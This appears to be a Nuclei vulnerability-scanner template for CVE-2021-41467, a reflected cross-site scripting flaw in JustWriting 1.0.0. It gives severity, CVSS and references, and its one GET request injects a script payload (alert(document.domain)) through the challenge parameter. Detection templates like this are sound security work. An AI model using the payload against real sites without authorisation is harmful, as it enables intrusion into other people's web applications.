id: CVE-2021-41467 info: name: JustWriting - Cross-Site Scripting author: madrobot severity: medium description: A cross-site scripting vulnerability in application/controllers/dropbox.php in JustWriting 1.0.0 and below allow remote attackers to inject arbitrary web script or HTML via the challenge parameter. remediation: | Upgrade to the latest version to mitigate this vulnerability. reference: - https://github.com/hjue/JustWriting/issues/106 - https://nvd.nist.gov/vuln/detail/CVE-2021-41467 - https://github.com/hjue/JustWriting/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-41467 cwe-id: CWE-79 epss-score: 0.00133 epss-percentile: 0.48209 cpe: cpe:2.3:a:justwriting_project:justwriting:1.0.0:*:*:*:*:*:*:* metadata: max-request: 1 vendor: justwriting_project product: justwriting tags: cve,cve2021,justwriting,xss http: - method: GET path: - '{{BaseURL}}/sync/dropbox/download?challenge=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' matchers-condition: and matchers: - type: word part: body words: - "" - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 4a0a00473045022100e9dc035af6f4146ce47bbb6b3f54e72cbe9cfd36e96487b68129a4bc6047f39a02202fa47179f898b83daa811935e1fee0c3bf2f6df3ed741ebafa4ef72ec60244b4:922c64590222798bb761d5b6d8e72950